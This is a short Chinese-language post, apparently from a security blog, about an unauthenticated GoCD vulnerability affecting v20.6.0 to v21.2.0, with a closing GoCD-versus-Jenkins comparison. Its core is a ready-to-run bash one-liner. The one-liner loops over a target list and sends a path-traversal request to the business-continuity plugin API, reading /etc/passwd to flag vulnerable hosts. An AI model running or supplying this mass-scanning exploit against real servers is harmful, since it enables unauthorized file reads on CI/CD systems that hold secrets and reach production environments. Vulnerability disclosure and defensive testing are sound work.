一句话Poc之GoCD接管(RCE)漏洞（无需认证）

# GoCD

GoCD是用Java 编写的热门 CI/CD 解决方案，是非政府组织和每年收入达数十亿的财富500强公司等大批用户的首选。GoCD 因此成为关键基础设施以及极受攻击者欢迎的目标。为自动化构建和发布流程，一款集中化的 CI/CD 解决方案可访问多种生产环境和私密的源代码库。

# 影响版本

v20.6.0～v21.2.0

# 一句话Poc

cat targets.txt | while read host do; do curl -sk --insecure "https://$host:8153/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"| grep "root:x" && echo "$host VULN" || echo "$host NOT";done

# 多说一句，GoCD对标Jenkins，功能类似

Jenkins是一个持续集成工具, 而GoCD是一个持续部署工具。如果你正在或想要进行连续交付, 则应使用GoCD, 它是Jenkins的可靠替代方案。GoCD适合初学者和在构建部署管道方面经验丰富的人士使用。如果你想利用大型插件目录来自动化各种操作, 那么Jenkins可能更适合你。